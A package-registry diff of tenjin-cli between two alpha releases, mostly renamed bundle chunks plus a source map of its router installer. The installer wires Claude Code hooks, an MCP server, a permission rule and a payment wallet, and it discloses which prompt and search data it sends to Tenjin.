tenjin-cli 0.1.0-alpha.16 → 0.1.0-alpha.17
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +2 -0
- package/dist/chunk-2G2WLVHB.js +102 -0
- package/dist/chunk-2G2WLVHB.js.map +1 -0
- package/dist/chunk-2I4QTOLB.js +11 -0
- package/dist/chunk-2I4QTOLB.js.map +1 -0
- package/dist/{chunk-HVRC33OL.js → chunk-2JGT3KDW.js} +4 -6
- package/dist/{chunk-HVRC33OL.js.map → chunk-2JGT3KDW.js.map} +1 -1
- package/dist/chunk-35M3VITA.js +102 -0
- package/dist/chunk-35M3VITA.js.map +1 -0
- package/dist/{chunk-5X4SZ5BF.js → chunk-5QHHRMRA.js} +4 -4
- package/dist/{chunk-BFFM2WFK.js → chunk-5UDD5VSY.js} +2 -2
- package/dist/{chunk-BFFM2WFK.js.map → chunk-5UDD5VSY.js.map} +1 -1
- package/dist/{chunk-OIM4HLN6.js → chunk-7QKHZQKW.js} +295 -20
- package/dist/chunk-7QKHZQKW.js.map +1 -0
- package/dist/{chunk-BBVUVBUO.js → chunk-AR7U7BRG.js} +44 -7
- package/dist/{chunk-BBVUVBUO.js.map → chunk-AR7U7BRG.js.map} +1 -1
- package/dist/{chunk-DMZZLPZN.js → chunk-AUKDYPPX.js} +14 -89
- package/dist/chunk-AUKDYPPX.js.map +1 -0
- package/dist/{chunk-PZEN5PHN.js → chunk-J5INH7WB.js} +17 -3
- package/dist/chunk-J5INH7WB.js.map +1 -0
- package/dist/{chunk-7WEQQJLG.js → chunk-JLEF5WHM.js} +66 -2
- package/dist/chunk-JLEF5WHM.js.map +1 -0
- package/dist/{chunk-GULLJQXA.js → chunk-KK4YGYTV.js} +127 -17
- package/dist/chunk-KK4YGYTV.js.map +1 -0
- package/dist/{chunk-YEETV6IW.js → chunk-KUBEYXSO.js} +10 -12
- package/dist/{chunk-YEETV6IW.js.map → chunk-KUBEYXSO.js.map} +1 -1
- package/dist/{chunk-2U5ZVEV3.js → chunk-LJ4DMVFI.js} +5 -5
- package/dist/{chunk-3AJS6LLN.js → chunk-MRGADYDD.js} +7 -7
- package/dist/{chunk-25TJPVBF.js → chunk-O4ZNKFRU.js} +28 -15
- package/dist/chunk-O4ZNKFRU.js.map +1 -0
- package/dist/{chunk-OJLYNM4Z.js → chunk-PDA2BVFY.js} +77 -19
- package/dist/chunk-PDA2BVFY.js.map +1 -0
- package/dist/{chunk-L3PVMIYQ.js → chunk-QDD2RN7G.js} +29 -119
- package/dist/chunk-QDD2RN7G.js.map +1 -0
- package/dist/chunk-S2NRVRPF.js +171 -0
- package/dist/chunk-S2NRVRPF.js.map +1 -0
- package/dist/chunk-TGLKKLQG.js +11 -0
- package/dist/chunk-TGLKKLQG.js.map +1 -0
- package/dist/chunk-TP4D47BY.js +127 -0
- package/dist/chunk-TP4D47BY.js.map +1 -0
- package/dist/{chunk-WH7OWT6G.js → chunk-U2DZISAH.js} +2 -8
- package/dist/chunk-U2DZISAH.js.map +1 -0
- package/dist/{chunk-USS336NF.js → chunk-WGQVJM56.js} +5 -5
- package/dist/chunk-WGQVJM56.js.map +1 -0
- package/dist/{chunk-YJHHCWM3.js → chunk-WLMJE3GJ.js} +3 -3
- package/dist/{chunk-U5DXNFJC.js → chunk-WS4JA6TC.js} +3 -3
- package/dist/{chunk-SKAHDQH7.js → chunk-XZOEUYMX.js} +6 -7
- package/dist/{chunk-SKAHDQH7.js.map → chunk-XZOEUYMX.js.map} +1 -1
- package/dist/{cli-M3XCSOU6.js → cli-VHYYYYXM.js} +43 -29
- package/dist/{cli-M3XCSOU6.js.map → cli-VHYYYYXM.js.map} +1 -1
- package/dist/{config-MXOX7XDR.js → config-5ADBAAXU.js} +11 -10
- package/dist/{doctor-LU4YIZWM.js → doctor-Q35VQW3S.js} +108 -21
- package/dist/doctor-Q35VQW3S.js.map +1 -0
- package/dist/{fund-A54P2QFK.js → fund-GDDPL2BB.js} +11 -10
- package/dist/{fund-A54P2QFK.js.map → fund-GDDPL2BB.js.map} +1 -1
- package/dist/hook-command-PBERPRE3.js +763 -0
- package/dist/hook-command-PBERPRE3.js.map +1 -0
- package/dist/index.js +2 -2
- package/dist/{install-XUM2XSHW.js → install-OKDKGUXM.js} +21 -14
- package/dist/{install-wallet-QIOFORTX.js → install-wallet-SI4LZ73K.js} +10 -9
- package/dist/{install-wallet-QIOFORTX.js.map → install-wallet-SI4LZ73K.js.map} +1 -1
- package/dist/{mcp-HJC2PLRV.js → mcp-XX3WRQEZ.js} +63 -31
- package/dist/{mcp-HJC2PLRV.js.map → mcp-XX3WRQEZ.js.map} +1 -1
- package/dist/{pay-SBXZEPEP.js → pay-3SYKHKWJ.js} +15 -13
- package/dist/{redact-46ZHF2NH.js → redact-6W23GGJC.js} +4 -6
- package/dist/{send-ASD2ZXJD.js → send-LQRKTEJT.js} +10 -9
- package/dist/{send-ASD2ZXJD.js.map → send-LQRKTEJT.js.map} +1 -1
- package/dist/{skill-placement-NFVHY6A3.js → skill-placement-JMDPSKE6.js} +12 -13
- package/dist/{skill-placement-NFVHY6A3.js.map → skill-placement-JMDPSKE6.js.map} +1 -1
- package/dist/{status-T2SDB57A.js → status-FFC6FO72.js} +8 -7
- package/dist/{status-T2SDB57A.js.map → status-FFC6FO72.js.map} +1 -1
- package/dist/{status-line-CGPUSDMC.js → status-line-SAXSU6CR.js} +19 -3
- package/dist/status-line-SAXSU6CR.js.map +1 -0
- package/dist/{status-line-wiring-BYPHTYZE.js → status-line-wiring-L2WYIYBM.js} +5 -6
- package/dist/tenjin-daemon.mjs +384 -23
- package/dist/{uninstall-FKYZHAM3.js → uninstall-OACH27UV.js} +18 -15
- package/dist/{uninstall-FKYZHAM3.js.map → uninstall-OACH27UV.js.map} +1 -1
- package/dist/{update-ANJ2AOTN.js → update-4W6EKLGZ.js} +6 -7
- package/dist/{update-ANJ2AOTN.js.map → update-4W6EKLGZ.js.map} +1 -1
- package/dist/{wallet-PWAHVKWW.js → wallet-BMEXRR3P.js} +10 -9
- package/docs/agent-permissions.md +16 -8
- package/docs/safety-model.md +1 -1
- package/package.json +1 -1
- package/dist/chunk-25TJPVBF.js.map +0 -1
- package/dist/chunk-7WEQQJLG.js.map +0 -1
- package/dist/chunk-DMZZLPZN.js.map +0 -1
- package/dist/chunk-GULLJQXA.js.map +0 -1
- package/dist/chunk-L3PVMIYQ.js.map +0 -1
- package/dist/chunk-OCBHUHWB.js +0 -69
- package/dist/chunk-OCBHUHWB.js.map +0 -1
- package/dist/chunk-OIM4HLN6.js.map +0 -1
- package/dist/chunk-OJLYNM4Z.js.map +0 -1
- package/dist/chunk-PZEN5PHN.js.map +0 -1
- package/dist/chunk-USS336NF.js.map +0 -1
- package/dist/chunk-WH7OWT6G.js.map +0 -1
- package/dist/doctor-LU4YIZWM.js.map +0 -1
- package/dist/hook-command-U6KWPEDQ.js +0 -377
- package/dist/hook-command-U6KWPEDQ.js.map +0 -1
- package/dist/status-line-CGPUSDMC.js.map +0 -1
- /package/dist/{chunk-5X4SZ5BF.js.map → chunk-5QHHRMRA.js.map} +0 -0
- /package/dist/{chunk-2U5ZVEV3.js.map → chunk-LJ4DMVFI.js.map} +0 -0
- /package/dist/{chunk-3AJS6LLN.js.map → chunk-MRGADYDD.js.map} +0 -0
- /package/dist/{chunk-YJHHCWM3.js.map → chunk-WLMJE3GJ.js.map} +0 -0
- /package/dist/{chunk-U5DXNFJC.js.map → chunk-WS4JA6TC.js.map} +0 -0
- /package/dist/{config-MXOX7XDR.js.map → config-5ADBAAXU.js.map} +0 -0
- /package/dist/{install-XUM2XSHW.js.map → install-OKDKGUXM.js.map} +0 -0
- /package/dist/{pay-SBXZEPEP.js.map → pay-3SYKHKWJ.js.map} +0 -0
- /package/dist/{redact-46ZHF2NH.js.map → redact-6W23GGJC.js.map} +0 -0
- /package/dist/{status-line-wiring-BYPHTYZE.js.map → status-line-wiring-L2WYIYBM.js.map} +0 -0
- /package/dist/{wallet-PWAHVKWW.js.map → wallet-BMEXRR3P.js.map} +0 -0
|
@@ -14,21 +14,21 @@ import {
|
|
|
14
14
|
verifyAndPreserveOutgoingWallet,
|
|
15
15
|
walletExistsError,
|
|
16
16
|
walletFileExists
|
|
17
|
-
} from "./chunk-
|
|
17
|
+
} from "./chunk-KUBEYXSO.js";
|
|
18
18
|
import {
|
|
19
19
|
LockTimeoutError,
|
|
20
20
|
withFileLock
|
|
21
21
|
} from "./chunk-MEFB5KHA.js";
|
|
22
22
|
import {
|
|
23
23
|
toMoney
|
|
24
|
-
} from "./chunk-
|
|
24
|
+
} from "./chunk-U2DZISAH.js";
|
|
25
25
|
import {
|
|
26
26
|
loadRawConfig,
|
|
27
27
|
resolveSettings
|
|
28
|
-
} from "./chunk-
|
|
28
|
+
} from "./chunk-AR7U7BRG.js";
|
|
29
29
|
import {
|
|
30
30
|
CliError
|
|
31
|
-
} from "./chunk-
|
|
31
|
+
} from "./chunk-JLEF5WHM.js";
|
|
32
32
|
import {
|
|
33
33
|
walletPath
|
|
34
34
|
} from "./chunk-2BKS2FVE.js";
|
|
@@ -239,4 +239,4 @@ export {
|
|
|
239
239
|
runWalletShow,
|
|
240
240
|
runWalletBalance
|
|
241
241
|
};
|
|
242
|
-
//# sourceMappingURL=chunk-
|
|
242
|
+
//# sourceMappingURL=chunk-LJ4DMVFI.js.map
|
|
@@ -1,20 +1,20 @@
|
|
|
1
1
|
import { createRequire as __tenjinCreateRequire } from 'node:module'; const require = __tenjinCreateRequire(import.meta.url);
|
|
2
2
|
import {
|
|
3
3
|
emitNotice
|
|
4
|
-
} from "./chunk-
|
|
4
|
+
} from "./chunk-WLMJE3GJ.js";
|
|
5
5
|
import {
|
|
6
6
|
external_exports,
|
|
7
7
|
loadConfig
|
|
8
|
-
} from "./chunk-
|
|
8
|
+
} from "./chunk-AR7U7BRG.js";
|
|
9
9
|
import {
|
|
10
10
|
package_default
|
|
11
|
-
} from "./chunk-
|
|
11
|
+
} from "./chunk-5UDD5VSY.js";
|
|
12
|
+
import {
|
|
13
|
+
writeFileAtomic
|
|
14
|
+
} from "./chunk-JLEF5WHM.js";
|
|
12
15
|
import {
|
|
13
16
|
updateCheckPath
|
|
14
17
|
} from "./chunk-2BKS2FVE.js";
|
|
15
|
-
import {
|
|
16
|
-
writeFileAtomic
|
|
17
|
-
} from "./chunk-7WEQQJLG.js";
|
|
18
18
|
|
|
19
19
|
// src/lib/update-check.ts
|
|
20
20
|
import { readFile } from "node:fs/promises";
|
|
@@ -191,4 +191,4 @@ export {
|
|
|
191
191
|
fetchDistTags,
|
|
192
192
|
isNewer
|
|
193
193
|
};
|
|
194
|
-
//# sourceMappingURL=chunk-
|
|
194
|
+
//# sourceMappingURL=chunk-MRGADYDD.js.map
|
|
@@ -1,22 +1,26 @@
|
|
|
1
1
|
import { createRequire as __tenjinCreateRequire } from 'node:module'; const require = __tenjinCreateRequire(import.meta.url);
|
|
2
|
+
import {
|
|
3
|
+
MCP_SERVER_NAME,
|
|
4
|
+
REQUEST_TOOL
|
|
5
|
+
} from "./chunk-TGLKKLQG.js";
|
|
2
6
|
import {
|
|
3
7
|
paint
|
|
4
|
-
} from "./chunk-
|
|
8
|
+
} from "./chunk-WLMJE3GJ.js";
|
|
5
9
|
import {
|
|
6
10
|
persistRouterDefaults
|
|
7
|
-
} from "./chunk-
|
|
11
|
+
} from "./chunk-KK4YGYTV.js";
|
|
8
12
|
import {
|
|
9
13
|
onPath
|
|
10
|
-
} from "./chunk-
|
|
14
|
+
} from "./chunk-WS4JA6TC.js";
|
|
11
15
|
import {
|
|
12
16
|
resolveContextSettings
|
|
13
|
-
} from "./chunk-
|
|
17
|
+
} from "./chunk-PDA2BVFY.js";
|
|
14
18
|
import {
|
|
15
19
|
toMoney
|
|
16
|
-
} from "./chunk-
|
|
20
|
+
} from "./chunk-U2DZISAH.js";
|
|
17
21
|
import {
|
|
18
22
|
ensureStatusLine
|
|
19
|
-
} from "./chunk-
|
|
23
|
+
} from "./chunk-2JGT3KDW.js";
|
|
20
24
|
import {
|
|
21
25
|
appendAllowlistRules,
|
|
22
26
|
claudeAdapter,
|
|
@@ -24,10 +28,10 @@ import {
|
|
|
24
28
|
inspectHooksFile,
|
|
25
29
|
ownsHookEntry,
|
|
26
30
|
writeHooks
|
|
27
|
-
} from "./chunk-
|
|
31
|
+
} from "./chunk-XZOEUYMX.js";
|
|
28
32
|
import {
|
|
29
33
|
CliError
|
|
30
|
-
} from "./chunk-
|
|
34
|
+
} from "./chunk-JLEF5WHM.js";
|
|
31
35
|
|
|
32
36
|
// src/router/install.ts
|
|
33
37
|
import { execFile } from "node:child_process";
|
|
@@ -37,8 +41,7 @@ import { isAbsolute, join } from "node:path";
|
|
|
37
41
|
import { promisify } from "node:util";
|
|
38
42
|
var exec = promisify(execFile);
|
|
39
43
|
var HOOK_TIMEOUT_SECONDS = 5;
|
|
40
|
-
var
|
|
41
|
-
var ALLOW_RULE = "mcp__x402__request";
|
|
44
|
+
var ALLOW_RULE = REQUEST_TOOL;
|
|
42
45
|
function mcpScope(project) {
|
|
43
46
|
return project === true ? "project" : "user";
|
|
44
47
|
}
|
|
@@ -53,17 +56,26 @@ function routerSettingsPath(opts = {}) {
|
|
|
53
56
|
if (opts.project === true) return join(opts.cwd ?? process.cwd(), ".claude", "settings.json");
|
|
54
57
|
return claudeSettingsPath(opts.homeDir ?? homedir());
|
|
55
58
|
}
|
|
59
|
+
var DELEGATION_MATCHER = "Agent|Task";
|
|
60
|
+
var NATIVE_MATCHER = "WebSearch|WebFetch";
|
|
56
61
|
function routerHookPlan() {
|
|
57
62
|
const handler = (command) => [
|
|
58
63
|
{ type: "command", command, timeout: HOOK_TIMEOUT_SECONDS }
|
|
59
64
|
];
|
|
60
65
|
return [
|
|
61
66
|
{ event: "UserPromptSubmit", hooks: handler("tenjin hook prompt") },
|
|
62
|
-
{ event: "PreToolUse", matcher:
|
|
67
|
+
{ event: "PreToolUse", matcher: NATIVE_MATCHER, hooks: handler("tenjin hook native") },
|
|
68
|
+
{ event: "PreToolUse", matcher: DELEGATION_MATCHER, hooks: handler("tenjin hook agent") },
|
|
69
|
+
{ event: "PostToolUse", matcher: NATIVE_MATCHER, hooks: handler("tenjin hook shortfall") },
|
|
70
|
+
{
|
|
71
|
+
event: "PostToolUseFailure",
|
|
72
|
+
matcher: NATIVE_MATCHER,
|
|
73
|
+
hooks: handler("tenjin hook shortfall")
|
|
74
|
+
}
|
|
63
75
|
];
|
|
64
76
|
}
|
|
65
77
|
var DISCLOSURE = [
|
|
66
|
-
"What leaves this machine: the bounded text of each prompt
|
|
78
|
+
"What leaves this machine: the bounded text of each prompt, each native search query or URL (and, when one came back short, its status, size or error), and each task handed to a subagent, sent to Tenjin for the free routing gate.",
|
|
67
79
|
"What is kept when a lookup is paid: the capability chosen, a hash of the contract, a hash of the arguments, and your wallet address. No prompt text, no arguments, no hint text.",
|
|
68
80
|
"What never leaves: your private key. It is decrypted in this CLI to sign, and never sent anywhere."
|
|
69
81
|
];
|
|
@@ -133,7 +145,7 @@ async function runRouterInstall(args, ctx, deps = {}) {
|
|
|
133
145
|
};
|
|
134
146
|
}
|
|
135
147
|
const spend = await persistRouterDefaults(ctx.dataDir);
|
|
136
|
-
const { resolveWallet } = await import("./install-wallet-
|
|
148
|
+
const { resolveWallet } = await import("./install-wallet-SI4LZ73K.js");
|
|
137
149
|
const wallet = await resolveWallet(ctx, deps, args.noWallet === true ? "flag" : void 0, false);
|
|
138
150
|
const effective = await resolveContextSettings(ctx);
|
|
139
151
|
const data = {
|
|
@@ -336,13 +348,14 @@ async function probeOurEntries(path, dataDir) {
|
|
|
336
348
|
|
|
337
349
|
export {
|
|
338
350
|
HOOK_TIMEOUT_SECONDS,
|
|
339
|
-
MCP_SERVER_NAME,
|
|
340
351
|
ALLOW_RULE,
|
|
341
352
|
mcpScope,
|
|
342
353
|
mcpAddCommand,
|
|
343
354
|
mcpRemoveCommand,
|
|
344
355
|
MCP_ADD_COMMAND,
|
|
345
356
|
routerSettingsPath,
|
|
357
|
+
DELEGATION_MATCHER,
|
|
358
|
+
NATIVE_MATCHER,
|
|
346
359
|
routerHookPlan,
|
|
347
360
|
DISCLOSURE,
|
|
348
361
|
runRouterInstall,
|
|
@@ -350,4 +363,4 @@ export {
|
|
|
350
363
|
readMcpEntry,
|
|
351
364
|
statusLineProblems
|
|
352
365
|
};
|
|
353
|
-
//# sourceMappingURL=chunk-
|
|
366
|
+
//# sourceMappingURL=chunk-O4ZNKFRU.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"sources":["../src/router/install.ts"],"sourcesContent":["import { execFile } from 'node:child_process';\nimport { readFile } from 'node:fs/promises';\nimport { homedir } from 'node:os';\nimport { isAbsolute, join } from 'node:path';\nimport { promisify } from 'node:util';\nimport { claudeAdapter } from '../adapters/claude';\nimport { persistRouterDefaults } from '../commands/config';\nimport { CliError } from '../lib/errors';\nimport { appendAllowlistRules, claudeSettingsPath } from '../lib/harness-permissions';\nimport {\n inspectHooksFile,\n ownsHookEntry,\n pruneHooks,\n writeHooks,\n type HooksResult,\n} from '../lib/harness-hooks';\nimport { toMoney } from '../lib/money';\nimport { paint } from '../lib/output';\nimport { resolveContextSettings } from '../lib/settings';\nimport type { SpendPolicy } from '../lib/policy';\nimport { onPath } from '../lib/skill-wiring';\nimport type { WalletDeps, WalletOutcome } from '../commands/install-wallet';\nimport type { CommandContext, CommandResult } from '../context';\nimport { MCP_SERVER_NAME, REQUEST_TOOL } from './names';\nimport { ensureStatusLine, type StatusLineMode, type StatusLineResult } from './status-line-wiring';\n\n/**\n * `tenjin install` for the router product: five hook entries, one MCP server,\n * one permission rule, the spend defaults, and a wallet when there is none.\n *\n * WHAT IT WRITES IS WHAT IT SAYS. There is no skill to materialize, no daemon\n * to start and no background process of any kind: the hooks are plain command\n * lines, the tool lives in an MCP server the harness starts per session, and\n * every other key in the settings file is preserved byte for byte.\n */\n\nconst exec = promisify(execFile);\n\n/**\n * The harness's kill budget for each hook entry, and the number every other\n * wait inside the hook is cut from: 1 s of stdin plus 3.5 s of gate, with\n * 500 ms left for node's boot and the transcript read (`wire.test.ts` pins it).\n * Raised from 3 s because a gate abort costs the turn its hint silently.\n *\n * A machine carrying the old number is converged by the writer, not by the\n * user: the entries are ours by marker, so `install`, `install --refresh` and\n * the refresh `tenjin update` spawns all rewrite them in place.\n */\nexport const HOOK_TIMEOUT_SECONDS = 5;\nexport { MCP_SERVER_NAME };\nexport const ALLOW_RULE = REQUEST_TOOL;\n/**\n * The MCP registration follows the SAME SCOPE the hook entries do. A\n * `--project` install that wrote its hooks into the project and then registered\n * the server at user scope would reach into `~/.claude.json` on a run whose\n * whole point is to touch this project and nothing else, and `tenjin uninstall\n * --project` would leave that behind.\n *\n * Project scope writes `<project>/.mcp.json`, so the registration lives beside\n * the settings file that names the hooks and travels with the repository.\n */\nexport function mcpScope(project: boolean | undefined): 'user' | 'project' {\n return project === true ? 'project' : 'user';\n}\n\nexport function mcpAddCommand(project?: boolean): string {\n return `claude mcp add ${MCP_SERVER_NAME} -s ${mcpScope(project)} -- tenjin mcp`;\n}\n\nexport function mcpRemoveCommand(project?: boolean): string {\n return `claude mcp remove ${MCP_SERVER_NAME} -s ${mcpScope(project)}`;\n}\n\n/** The user-scope form, kept as the name the docs and the tests already use. */\nexport const MCP_ADD_COMMAND = mcpAddCommand();\n\n/**\n * Which settings file this machine's router wiring lives in, spelled once so\n * `install`, `uninstall` and `doctor` can never disagree about where to look.\n * A doctor reading the home file on a `--project` install reported a correctly\n * wired machine as unwired and exited 3.\n */\nexport function routerSettingsPath(\n opts: { project?: boolean; homeDir?: string; cwd?: string } = {},\n): string {\n if (opts.project === true) return join(opts.cwd ?? process.cwd(), '.claude', 'settings.json');\n return claudeSettingsPath(opts.homeDir ?? homedir());\n}\n\n/** The subagent tool, under its current name and its older one. */\nexport const DELEGATION_MATCHER = 'Agent|Task';\n\n/** The native tools both native arms watch. */\nexport const NATIVE_MATCHER = 'WebSearch|WebFetch';\n\n/**\n * The five entries, spelled once so `uninstall`, `doctor` and the tests read\n * the same list. The native tools are routed twice over one lookup: BEFORE the\n * call, as every release has, with a line pointing to a paid lookup when one\n * fits; and AFTER it, only when it came back short and nothing was said before.\n * A failed call fires PostToolUseFailure rather than PostToolUse, so the second\n * takes both.\n */\nexport function routerHookPlan(): unknown[] {\n const handler = (command: string) => [\n { type: 'command', command, timeout: HOOK_TIMEOUT_SECONDS },\n ];\n return [\n { event: 'UserPromptSubmit', hooks: handler('tenjin hook prompt') },\n { event: 'PreToolUse', matcher: NATIVE_MATCHER, hooks: handler('tenjin hook native') },\n { event: 'PreToolUse', matcher: DELEGATION_MATCHER, hooks: handler('tenjin hook agent') },\n { event: 'PostToolUse', matcher: NATIVE_MATCHER, hooks: handler('tenjin hook shortfall') },\n {\n event: 'PostToolUseFailure',\n matcher: NATIVE_MATCHER,\n hooks: handler('tenjin hook shortfall'),\n },\n ];\n}\n\nexport const DISCLOSURE: readonly string[] = [\n 'What leaves this machine: the bounded text of each prompt, each native search query or URL (and, when one came back short, its status, size or error), and each task handed to a subagent, sent to Tenjin for the free routing gate.',\n 'What is kept when a lookup is paid: the capability chosen, a hash of the contract, a hash of the arguments, and your wallet address. No prompt text, no arguments, no hint text.',\n 'What never leaves: your private key. It is decrypted in this CLI to sign, and never sent anywhere.',\n];\n\nexport interface RouterInstallArgs {\n /** Write into this project's `.claude/settings.json` instead of your home one. */\n project?: boolean;\n /**\n * Bring the entries this machine ALREADY has up to the running build, and\n * add nothing: no config write, no MCP registration, and a refusal when\n * nothing of ours is here. `tenjin update` spawns exactly this after it swaps\n * the binary, so the flag's name and meaning are a compatibility contract.\n */\n refresh?: boolean;\n /**\n * What to do about Claude Code's `statusLine`. Absent is the default path:\n * write ours when the key is free, and print the composition line when it is\n * not. `compose` wraps the status line already there and appends ours;\n * `skip` leaves the key alone entirely.\n */\n statusLine?: StatusLineMode;\n /** Create no wallet, for CI and scripted machines. */\n noWallet?: boolean;\n}\n\nexport interface RouterInstallDeps extends WalletDeps {\n homeDir?: string;\n cwd?: string;\n env?: NodeJS.ProcessEnv;\n /** PATH probe for the `claude` binary. */\n which?: (bin: string) => boolean;\n /** Runs `claude mcp add`; tests inject it so no binary is spawned. The scope\n * and the working directory are passed, because project scope is decided by\n * where the command runs as much as by the flag. */\n registerMcp?: (\n command: string,\n opts: { scope: 'user' | 'project'; cwd: string },\n ) => Promise<void>;\n /** Reads the registration the scope's own file holds; tests inject it. */\n readMcpEntry?: (\n scope: 'user' | 'project',\n cwd: string,\n home: string,\n ) => Promise<{ found: boolean; state: McpEntryState }>;\n}\n\nexport interface McpRegistration {\n name: string;\n registered: boolean;\n /** Which scope it went to, following the hook entries rather than the flag\n * being read twice. `project` writes `<project>/.mcp.json`. */\n scope: 'user' | 'project';\n /** The command to run by hand, when this run could not. */\n command: string;\n /**\n * WHAT THIS RUN ACTUALLY DID, which `registered` alone cannot say:\n * `already-registered` (the scope's file already launches `tenjin mcp`, and\n * nothing was spawned), `added`, `repaired` (a same-name entry launching\n * something else was removed and re-added, which only `uninstall` does now),\n * `unrepaired` (a registration this run KNOWS is wrong or unreadable and will\n * not touch) or `unavailable` (it is simply not there and this machine could\n * not add it, e.g. no `claude` on PATH). A refresh fails on `unrepaired`,\n * because reporting convergence over a registration that launches something\n * else is the thing to avoid; it still only prints the manual command for\n * `unavailable`.\n */\n reconciled: 'already-registered' | 'added' | 'repaired' | 'unrepaired' | 'unavailable';\n reason?: string;\n}\n\nexport async function runRouterInstall(\n args: RouterInstallArgs,\n ctx: CommandContext,\n deps: RouterInstallDeps = {},\n): Promise<CommandResult> {\n const env = deps.env ?? process.env;\n const home = deps.homeDir ?? homedir();\n if (!isAbsolute(home)) {\n throw new CliError('INTERNAL', 'The home directory is not an absolute path.', {\n fix: 'Set HOME to your home directory (`export HOME=...`), then re-run `tenjin install`.',\n });\n }\n const cwd = deps.cwd ?? process.cwd();\n // A refresh converges EVERY install this machine has, in the scope each one\n // was made in. `tenjin update` spawns it from the HOME directory, so looking\n // ONE SCOPE, THE ONE THIS RAN IN. `--refresh` converges the install whose\n // settings file is here: home by default, this project under `--project`.\n // The fan-out across recorded projects is gone with the list it read, along\n // with a failure mode where one project's broken JSON decided what every\n // other install got. `tenjin update` is a binary swap plus this, nothing more.\n // With no flag, a refresh converges the install that is actually HERE: the\n // project file when this directory carries our entries, the home file\n // otherwise. `--project` and its absence are still explicit targets, so\n // nothing silently moves an install from one scope to the other.\n const project =\n args.project ??\n (args.refresh === true &&\n (await probeOurEntries(routerSettingsPath({ project: true, cwd }), ctx.dataDir)).state ===\n 'present');\n const settingsPath = routerSettingsPath({\n ...(project ? { project: true } : {}),\n homeDir: home,\n cwd,\n });\n\n if (args.refresh === true) {\n const probe = await probeOurEntries(settingsPath, ctx.dataDir);\n // An unreadable file is not an absence, and telling someone to install over\n // it is the wrong instruction: the writer would refuse it too.\n if (probe.state === 'unreadable') {\n throw new CliError('CONFIG_INVALID', `Could not inspect ${settingsPath}: ${probe.reason}`, {\n fix: `Fix ${settingsPath}, then re-run: tenjin update`,\n });\n }\n if (probe.state === 'absent') {\n throw new CliError(\n 'REFUSED',\n `Nothing to refresh in ${settingsPath}: no Tenjin hook entries are registered here.`,\n { fix: 'Run `tenjin install` to set this machine up.' },\n );\n }\n }\n const hooks = await writeHooks({\n adapter: claudeAdapter,\n homeDir: home,\n dataDir: ctx.dataDir,\n env,\n plan: routerHookPlan(),\n settingsPath,\n });\n const permissions = await ensureAllowRule(settingsPath);\n const statusLine = await ensureStatusLine(settingsPath, {\n ...(args.statusLine !== undefined ? { mode: args.statusLine } : {}),\n ...(args.refresh === true ? { refreshOnly: true } : {}),\n });\n const mcp = await registerMcpServer(deps, env, project, cwd, home);\n if (args.refresh === true) {\n // The SAME writers, minus the one that decides anything: the entries are\n // rewritten in place by their ownership marker so an upgrade never\n // duplicates them, the rule and the registration are re-checked because a\n // new version can change either, and `config.json`, the wallet and\n // `spend.json` are not touched at all. Widening an agent's spend policy\n // during an unattended upgrade is not a convergence.\n // RECONCILED, not re-added: `claude mcp add` exits 1 on an existing entry,\n // so the registration is read first and only written when it is missing or\n // wrong (see {@link registerMcpServer}).\n // A registration this run KNOWS is wrong and could not repair is not a\n // converged install, and `tenjin update` reporting success over it is how\n // a machine keeps a stale `x402` server across upgrade after upgrade.\n if (mcp.reconciled === 'unrepaired') {\n throw new CliError(\n 'REFUSED',\n `The ${MCP_SERVER_NAME} MCP registration (${mcpScope(project)} scope) is not the router's and this run could not repair it: ${mcp.reason ?? 'unknown reason'}.`,\n { fix: `Run: ${mcp.command}`, details: { settingsPath, hooks, permissions, mcp } },\n );\n }\n return {\n data: {\n settingsPath,\n hooks,\n permissions,\n statusLine,\n mcp,\n refresh: true,\n scope: mcpScope(project),\n },\n humanLines: refreshLines(ctx, problems(ctx, hooks, permissions, statusLine, mcp)),\n };\n }\n const spend = await persistRouterDefaults(ctx.dataDir);\n // The shelf install's wallet step, unchanged except that it never asks: a\n // lookup cannot be paid without a wallet, so install makes one. A failure is\n // reported, never fatal; everything above is useful without it.\n const { resolveWallet } = await import('../commands/install-wallet');\n const wallet = await resolveWallet(ctx, deps, args.noWallet === true ? 'flag' : undefined, false);\n // Read back AFTER the write: a machine that already carried its own caps\n // keeps them, and a readout quoting the defaults would describe limits this\n // run did not set.\n const effective = await resolveContextSettings(ctx);\n\n const data = {\n settingsPath,\n hooks,\n permissions,\n statusLine,\n spend: { ...spend, effective: effectiveLimits(effective.policy) },\n mcp,\n wallet,\n disclosure: DISCLOSURE,\n };\n return {\n data,\n humanLines: lines(ctx, {\n project,\n hooks,\n permissions,\n statusLine,\n mcp,\n wallet,\n policy: effective.policy,\n }),\n };\n}\n\nexport interface AllowRuleResult {\n path: string;\n rule: string;\n added: boolean;\n /** Set when the file could not be written; the rule is then not in force. */\n warning?: string;\n}\n\n/**\n * The one permission rule, through the shared allowlist writer rather than a\n * third hand-rolled one: it resolves a symlinked settings.json before the\n * rename, refuses a file it cannot parse, and compares the bytes it read before\n * committing, none of which a local copy of the merge would have.\n */\nasync function ensureAllowRule(path: string): Promise<AllowRuleResult> {\n const result = await appendAllowlistRules(path, [ALLOW_RULE]);\n return {\n path: result.path,\n rule: ALLOW_RULE,\n added: result.added.length > 0,\n ...(result.warning !== undefined\n ? { warning: result.warning }\n : result.skipped !== undefined\n ? { warning: `${result.path} was left untouched (${result.skipped}).` }\n : {}),\n };\n}\n\n/**\n * RECONCILE, do not re-add blindly. `claude mcp add` is not idempotent: Claude\n * Code 2.1.280 exits 1 on a second identical add with \"MCP server x402 already\n * exists in .mcp.json\". Running it unconditionally therefore reported a\n * perfectly healthy machine as an unregistered one and printed a repair command\n * that would fail the same way, while a same-name entry launching something\n * else never converged, because `add` refuses to overwrite it.\n *\n * So the scope's own file is read first: an entry that already launches\n * `tenjin mcp` is the goal state and nothing is spawned, and a file that cannot\n * be read is refused out loud rather than written over.\n *\n * AN `x402` ENTRY THAT LAUNCHES SOMETHING ELSE IS SOMEBODY ELSE'S. This command\n * will not delete it. It may be another tool of the user's that happens to\n * share the name, and an installer that removes a registration nobody asked it\n * to touch has destroyed configuration to make its own output look tidy. The\n * conflict is reported with the exact two commands to run, and the user decides.\n */\nasync function registerMcpServer(\n deps: RouterInstallDeps,\n env: NodeJS.ProcessEnv,\n project: boolean,\n cwd: string,\n home: string,\n): Promise<McpRegistration> {\n const scope = mcpScope(project);\n const command = mcpAddCommand(project);\n const base = { name: 